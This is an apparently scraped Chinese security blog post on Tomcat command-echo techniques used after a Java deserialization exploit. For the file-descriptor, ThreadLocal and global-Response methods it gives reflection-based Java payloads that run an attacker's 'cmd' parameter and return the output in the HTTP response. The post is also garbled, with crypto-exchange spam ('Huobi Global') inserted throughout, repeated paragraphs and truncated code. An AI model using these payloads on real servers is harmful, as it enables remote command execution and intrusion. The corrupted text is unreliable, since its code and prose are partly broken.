【技术分享】Tomcat回显技术学习汇总

Connor 币安app官网下载 2022-10-21 132 0

01

简 介

2022年初打算把反序列化漏洞后利用技术给学习下,主要分为回显技术和内存马技术两大模块Huobi Global。因为之前对回显技术有所了解,就先把这块知识给弥补下。

02

搭建环境

采用简单的Spring-boot可以快速搭建web项目,并且使用Spring内置的轻量级Tomcat服务,虽然该Tomcat阉割了很多功能,但是基本够用Huobi Global。整个demo放在了github上,地址为

0x1 创建项目

选择Spring Initializr

0x2 添加代码

展开全文

在项目的package中创建controller文件夹Huobi Global,并编写TestController类

import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.ResponseBody;

import javax.servlet.;

@Controller@RequestMapping("/app")public class TestController {

@RequestMapping("/test")@ResponseBodypublic String testDemo(String input, ;

String cmd = !";}}

正常在编写Spring-boot代码的时候是不需要在testDemo函数中添加调用参数的Huobi Global。这里为了方便查看Response对象,因此在该函数上添加了。

0x3 添加Maven地址

在ubuntu上搭建环境的时候遇到了依赖包下载失败的情况Huobi Global

添加如下仓库地址即可解决问题

03

各种回显技术

0x1 通过文件描述符回显

1. 简介

2020年1月00theway师傅在《通杀漏洞利用回显方法-linux平台》文章中提出Huobi Global了一种回显思路

经过一段时间的研究发现了一种新的通杀的回显思路Huobi Global。在LINUX环境下,可以通过文件描述符”/proc/self/fd/i”获取到网络连接,在java中我们可以直接通过文件描述符获取到一个Stream对象,对当前网络连接进行读写操作,可以釜底抽薪在根源上解决回显问题。

经过一段时间的研究发现了一种新的通杀的回显思路Huobi Global。在LINUX环境下,可以通过文件描述符”/proc/self/fd/i”获取到网络连接,在java中我们可以直接通过文件描述符获取到一个Stream对象,对当前网络连接进行读写操作,可以釜底抽薪在根源上解决回显问题。

简单来讲就是利用linux文件描述符实现漏洞回显Huobi Global。作为众多回显思路中的其中一种方法,虽然效果没有后两者的通用型强,但笔者打算学习下这种基于linux文件描述符的特殊利用姿势。

2. 可行性分析

从理论上讲如果获取到了当前请求对应进程的文件描述符Huobi Global,如果输出描述符中写入内容,那么就会在回显中显示,从原理上是可行的,但在这个过程中主要有一个问题需要解决

如何获得本次请求的文件描述符

在/proc/net/tcp6文件中存储Huobi Global了大量的连接请求

其中local_address是服务端的地址和连接端口,remote_address是远程机器的地址和端口(客户端也在此记录),因此我们可以通过remote_address字段筛选出需要的inode号Huobi Global。这里的inode号会在/proc/xx/fd/中的socket一一对应

有了这个对应关系,我们就可以在/proc/xx/fd/目录中筛选出对应inode号的socket,从而获取了文件描述符Huobi Global。整体思路如下

1.通过client ip在/proc/net/tcp6文件中筛选出对应的inode号

2.通过inode号在/proc/$PPID/fd/中筛选出fd号

3.创建FileDeor对象

4.执行命令并向FileDeor对象输出命令执行结果

3. 代码编写

(1)获得本次请求的文件描述符

运行上述命令执行Huobi Global,并将结果存储在num中

while ((line = br.readLine) != null){stringBuilder.append(line);}

int num = Integer.valueOf(stringBuilder.toString).intValue;

(2)执行命令并通过文件描述符输出cmd = new String[]{"/bin/sh","-c","ls /"};in = Runtime.getRuntime.exec(cmd).getInputStream;//执行命令isr = new java.io.InputStreamReader(in);br = new java.io.BufferedReader(isr);stringBuilder = new StringBuilder;

while ((line = br.readLine) != null){//读取命令执行结果stringBuilder.append(line);}

String ret = stringBuilder.toString;java.lang.reflect.Constructor c=java.io.FileDeor.class.getDeclaredConstructor(new Class[]{Integer.TYPE});//获取构造器c.setAccessible(true);

java.io.FileOutputStream os = new java.io.FileOutputStream((java.io.FileDeor)c.newInstance(new Object[]{new Integer(num)}));//创建对象os.write(ret.getBytes);//向文件描述符中写入结果os.close;

4. 代码整合

在实际使用过程中注意把客户端IP地址转换成16进制字节倒序,替换xxxx字符串Huobi Global

while ((line = br.readLine) != null){stringBuilder.append(line);}int num = Integer.valueOf(stringBuilder.toString).intValue;

cmd = new String[]{"/bin/sh","-c","ls /"};in = Runtime.getRuntime.exec(cmd).getInputStream;isr = new java.io.InputStreamReader(in);br = new java.io.BufferedReader(isr);stringBuilder = new StringBuilder;

while ((line = br.readLine) != null){stringBuilder.append(line);}

String ret = stringBuilder.toString;java.lang.reflect.Constructor c=java.io.FileDeor.class.getDeclaredConstructor(new Class[]{Integer.TYPE});c.setAccessible(true);

java.io.FileOutputStream os = new java.io.FileOutputStream((java.io.FileDeor)c.newInstance(new Object[]{new Integer(num)}));os.write(ret.getBytes);os.close;

5. 局限性分析

这种方法只适用于linux回显,并且在取文件描述符的过程中有可能会受到其他连接信息的干扰,一般不建议采取此方法进行回显操作,因为有下面两种更好的回显方式Huobi Global

0x2 通过ThreadLocal Response回显

1. 简介

2020年3月kingkk师傅提出一种基于调用栈中获取Response对象的方法,该方法主要是从ApplicationFilterChain中提取相关对象,因此如果对Tomcat中的Filter有部署上的变动的话就不能通过此方法实现命令回显Huobi Global

仔细研读了kingkk师傅的思路,发现整个过程并不是很复杂,但前提是要先学会如何熟练使用Java 反射技术进行对象操作Huobi Global。寻找Response进行回显的大概思路如下

1.通过翻阅函数调用栈寻找存储Response的类

2.最好是个静态变量Huobi Global,这样不需要获取对应的实例,毕竟获取对象还是挺麻烦的

3.使用ThreadLocal保存的变量Huobi Global,在获取的时候更加方便,不会有什么错误

4.修复原有输出Huobi Global,通过分析源码找到问题所在

2. 代码分析

师傅就是按照这个思路慢慢寻找Huobi Global,直到找到了保存在ApplicationFilterChain对象中的静态变量lastServicedResponse

在internalDoFilter函数中有对该ThreadLocal变量赋值的操作

但是通过分析代码发现,改变量在初始化运行的时候就已经被设置为null了,这就需要通过反射的方式让lastServiceResponse进行初始化Huobi Global

在使用response的getWriter函数时,usingWriter 变量就会被设置为trueHuobi Global。如果在一次请求中usingWriter变为了true那么在这次请求之后的结果输出时就会报错

报错内容如下Huobi Global,getWriter已经被调用过一次

那么在代码设计的时候也要解决这个问题,才能把原有的内容通过

1.通过分析得到其具体实施步骤为

2.使用反射把ApplicationDispathcer.WRAP_SAME_OBJECT变量修改为true

3.使用反射初始化ApplicationDispathcer中的lastServicedResponse变量为ThreadLocal

4.使用反射从lastServicedResponse变量中获取tomcat Response变量

5.使用反射修复输出报错

3. 代码编写

(1)ApplicationDispathcer.WRAP_SAME_OBJECT变量修改为true

通过上面的需求,编写对应的代码进行实现,需要提前说明的是WRAP_SAME_OBJECT、lastServicedRequest、lastServicedResponse为static final变量,而且后两者为私有变量,因此需要modifiersField的处理将FINAL属性取消掉

Huobi Global

相对应的实现代码如下

(2)初始化ApplicationDispathcer中的lastServicedResponse变量为ThreadLocal

Huobi Global。这里需要把lastServicedResponse和lastServiceRequest,因为如果这两个其中之一的变量为初始化就会在set的地方报错。

相对应的实现代码如下

这里仅仅实现了如何初始化lastServicedRequest和lastServicedResponse这两个变量为ThreadLocal

Huobi Global。在实际实现过程中需要添加判断,如果lastServicedRequest存储的值不是null那么就不要进行初始化操作。

(3)从lastServicedResponse变量中获取tomcat Response变量

从上面代码中的lastServicedResponseField直接获取lastServicedResponse变量,因为这时的lastServicedResponse变量为ThreadLocal变量,可以直接通过get方法获取其中存储的变量

Huobi Global

(4)修复输出报错

可以在调用getWriter函数之后,通过反射修改usingWriter变量值

Huobi Global

果然在添加过这个代码之后就没有任何问题了

Huobi Global

4. 代码整合

搬运kingkk师傅代码供大家参考

ThreadLocal<ServletResponse> lastServicedResponse =(ThreadLocal<ServletResponse>) lastServicedResponseField.get( null); ThreadLocal<ServletRequest> lastServicedRequest = (ThreadLocal<ServletRequest>) lastServicedRequestField.get( null); booleanWRAP_SAME_OBJECT = WRAP_SAME_OBJECT_FIELD.getBoolean( null); Stringcmd = lastServicedRequest != null? lastServicedRequest.get.getParameter( "cmd") : null; if(!WRAP_SAME_OBJECT || lastServicedResponse == null|| lastServicedRequest == null) { lastServicedRequestField.set( null, newThreadLocal<>); lastServicedResponseField.set( null, newThreadLocal<>); WRAP_SAME_OBJECT_FIELD.setBoolean( null, true); } elseif(cmd != null) { ServletResponse responseFacade = lastServicedResponse.get;responseFacade.getWriter;java.io.Writer w = responseFacade.getWriter;Field responseField = ResponseFacade.class.getDeclaredField( "response"); responseField.setAccessible( true); Response response = (Response) responseField.get(responseFacade);Field usingWriter = Response.class.getDeclaredField( "usingWriter"); usingWriter.setAccessible( true); usingWriter.set(( Object) response, Boolean.FALSE);

booleanisLinux = true; StringosTyp = System.getProperty( "os.name"); if(osTyp != null&& osTyp.toLowerCase.contains( "win")) { isLinux = false; }String[] cmds = isLinux ? newString[]{ "sh", "-c", cmd} : newString[]{ "cmd.exe", "/c", cmd}; InputStream in= Runtime.getRuntime.exec(cmds).getInputStream; Scanner s = newScanner( in).useDelimiter( "\\a"); Stringoutput = s.hasNext ? s.next : ""; w.write(output);w.flush;}

触发方式如下,在网页回显中会把命令执行的结果和之前的内容一并输出来

Huobi Global

5. 局限性分析

通过完整的学习这个回显方式,可以很明显的发现这个弊端,如果漏洞在ApplicationFilterChain获取回显Response代码之前,那么就无法获取到Tomcat Response进行回显

Huobi Global。其中Shiro RememberMe反序列化漏洞就遇到了这种情况,相关代码如下

org.apache.catalina.core.ApplicationFilterChain核心代码

这种方法已经能够满足大多数情况下的回显需求

Huobi Global。并且从中学习到了很多回显思想和操作,将它融合在ysoserial中就能实现在tomcat部署的web服务中的反序列化回显。下面介绍一种不依靠FilterChain的通用型更强的Tomcat回显技术。

03

通过全局存储Response回显

2020年3月长亭Litch1师傅找到的一种基于全局储存的新思路,寻找在Tomcat处理Filter和Servlet之前有没有存储response变量的对象

Huobi Global。整个过程分析下来就像是在构造调用链,一环扣一环,知道找到了那个静态变量或者是那个已经创建过的对象。然而师傅通过后者完成了整个利用,下面学习下具体的分析方法。

1. 代码分析

在调用栈的初始位置存在

因为不是静态变量因此要向上溯源,争取找到存储的操作

具体代码如下Huobi Global,rp为RequestInfo对象,其中包含了request对象,然而request对象包含了response对象

所以Huobi Global我们一旦拿到RequestInfo对象就可以获取到对应的response对象

因为在register代码中把RequestInfo注册到Huobi Global了global中

因此如果获取到了global解决问题,global变量为AbstractProtocol静态内部类ConnectionHandler的成员变量Huobi Global。因为改变量不是静态变量,因此我们还是需要找存储AbstractProtocol类或AbstractProtocol子类。现在的获取链变为了

在调用栈中存在CoyoteAdapter类,其中的connector对象protocolHandler属性为

如何获取connector对象就成为了问题所在

Huobi Global,Litch1师傅分析出在Tomcat启动过程中会创建connector对象,并通过addConnector函数存放在connectors中

那么现在的获取链变成

Huobi Global

connectors同样为非静态属性,那么我们就需要获取在tomcat中已经存在的StandardService对象,而不是新创建的对象

Huobi Global

2. 关键步骤

如果能直接获取StandardService对象,那么所有问题都能够迎刃而解Huobi Global

。Litch1师傅通过分析Tomcat类加载获取到了想要的答案。

之前我们在《Java安全—JVM类加载》那篇文章中有介绍Tomcat 是如何破坏双亲委派机制的

Huobi Global

首先说明双亲委派机制的缺点是,当加载同个jar包不同版本库的时候,该机制无法自动选择需要版本库的jar包

Huobi Global。特别是当Tomcat等web容器承载了多个业务之后,不能有效的加载不同版本库。为了解决这个问题,Tomcat放弃了双亲委派模型。

当时分析Shiro反序列化的时候,遇到了Tomcat的类加载器重写了loadClass函数,从而没有严格按照双亲委派机制进行类加载,这样才能实现加载多个相同类,相当于提供了一套隔离机制,为每个web容器提供一个单独的WebAppClassLoader加载器

Huobi Global

Tomcat加载机制简单讲,WebAppClassLoader负责加载本身的目录下的class文件,加载不到时再交给CommonClassLoader加载,这和双亲委派刚好相反

Huobi Global

首先说明双亲委派机制的缺点是,当加载同个jar包不同版本库的时候,该机制无法自动选择需要版本库的jar包

Huobi Global。特别是当Tomcat等web容器承载了多个业务之后,不能有效的加载不同版本库。为了解决这个问题,Tomcat放弃了双亲委派模型。

当时分析Shiro反序列化的时候,遇到了Tomcat的类加载器重写了loadClass函数,从而没有严格按照双亲委派机制进行类加载,这样才能实现加载多个相同类,相当于提供了一套隔离机制,为每个web容器提供一个单独的WebAppClassLoader加载器

Huobi Global

Tomcat加载机制简单讲,WebAppClassLoader负责加载本身的目录下的class文件,加载不到时再交给CommonClassLoader加载,这和双亲委派刚好相反

Huobi Global

如果在SpringBoot项目中调试看下Thread.currentThread.getContextClassLoader中的内容

WebappClassLoader里面确实包含了很多很多关于tomcat相关的变量,其中service变量就是要找的StandardService对象Huobi Global

。那么至此整个调用链就有了入口点

因为这个调用链中一些变量有get方法因此可以通过get函数很方便的执行调用链,对于那些私有保护属性的变量我们只能采用反射的方式动态的获取

Huobi Global

3. 代码编写

(1)获取Tomcat CloassLoader context

这之后再获取standardContext的context就需要使用反射

Huobi Global

(2)获取standardContext的context

因为context不是final变量Huobi Global

,因此可以省去一些反射修改操作

具体代码如下

(3)获取ApplicationContext的service

(4)获取StandardService的connectors

获取到connectors之后,可以通过函数发现getProtocolHandler为public,因此我们可以通直接调用该方法的方式获取到对应的handler

Huobi Global

(6)获取内部类ConnectionHandler的global

好多师傅们都是通过getDeclaredClasses的方式获取到AbstractProtocol的内部类Huobi Global

。笔者通过org.apache.coyote.AbstractProtocol$ConnectionHandler的命名方式,直接使用反射获取该内部类对应字段。

(7)获取RequestGroupInfo的processors

processors为List数组Huobi Global

,其中存放的是RequestInfo

(8)获取Response

Huobi Global,并做输出处理

遍历获取RequestInfolist中的所有requestInfo,使用反射获取每个requestInfo中的req变量,从而获取对应的response

Huobi Global。在getWriter后将usingWriter置为false,并调用flush进行输出。

4. 代码整合

这个流程下来可以大大锻炼Java反射的使用熟练度Huobi Global

。如果按照之前分析的调用链一步一步构造,逻辑相对来说还是比较清晰的。完整代码如下

Field contextField = Class.forName( "org.apache.catalina.core.StandardContext").getDeclaredField( "context"); contextField.setAccessible( true); org.apache.catalina.core.ApplicationContext ApplicationContext = (org.apache.catalina.core.ApplicationContext)contextField. get(standardContext);

Field serviceField = Class.forName( "org.apache.catalina.core.ApplicationContext").getDeclaredField( "service"); serviceField.setAccessible( true); org.apache.catalina.core.StandardService standardService = (org.apache.catalina.core.StandardService)serviceField. get(ApplicationContext);

Field connectorsField = Class.forName( "org.apache.catalina.core.StandardService").getDeclaredField( "connectors"); connectorsField.setAccessible( true); org.apache.catalina.connector.Connector[] connectors = (org.apache.catalina.connector.Connector[])connectorsField. get(standardService);

org.apache.coyote.ProtocolHandler protocolHandler = connectors[ 0].getProtocolHandler; Field handlerField = org.apache.coyote.AbstractProtocol.class.getDeclaredField( "handler"); handlerField.setAccessible( true); org.apache.tomcat.util.net.AbstractEndpoint.Handler handler = (AbstractEndpoint.Handler) handlerField. get(protocolHandler);

Field globalField = Class.forName( "org.apache.coyote.AbstractProtocol$ConnectionHandler").getDeclaredField( "global"); globalField.setAccessible( true); RequestGroupInfo global= (RequestGroupInfo) globalField. get(handler);

Field processors = Class.forName( "org.apache.coyote.RequestGroupInfo").getDeclaredField( "processors"); processors.setAccessible( true); java.util.List<RequestInfo> RequestInfolist = (java.util.List<RequestInfo>) processors. get( global);

Field req = Class.forName( "org.apache.coyote.RequestInfo").getDeclaredField( "req"); req.setAccessible( true); for(RequestInfo requestInfo : RequestInfolist) { org.apache.coyote.Request request1 = (org.apache.coyote.Request )req. get(requestInfo); org.apache.catalina.connector.Request request2 = ( org.apache.catalina.connector.Request)request1.getNote( 1); org.apache.catalina.connector.Response response2 = request2.getResponse;java.io.Writer w = response2.getWriter;

String cmd = request2.getParameter( "cmd"); boolean isLinux = true; String osTyp = System.getProperty( "os.name"); if(osTyp != null&& osTyp.toLowerCase.contains( "win")) { isLinux = false; }String[] cmds = isLinux ? newString[]{ "sh", "-c", cmd} : newString[]{ "cmd.exe", "/c", cmd}; InputStream in= Runtime.getRuntime.exec(cmds).getInputStream; Scanner s = newScanner( in).useDelimiter( "\\a"); String output = s.hasNext ? s.next : ""; w.write(output);w.flush;

Field responseField = ResponseFacade.class.getDeclaredField( "response"); responseField.setAccessible( true); Field usingWriter = Response.class.getDeclaredField( "usingWriter"); usingWriter.setAccessible( true); usingWriter. set(response2, Boolean.FALSE); }

5. 局限性分析

利用链过长,会导致

。还有就是操作复杂可能有性能问题,整体来讲该方法不受各种配置的影响,通用型较强。

- 结尾 -

【技术分享】物联网协议—MQTT与ROS 【技术分享】ROS系统的本地搭建

【技术分享】堆中index溢出类漏洞利用思路总结

戳“阅读原文”查看更多内容

评论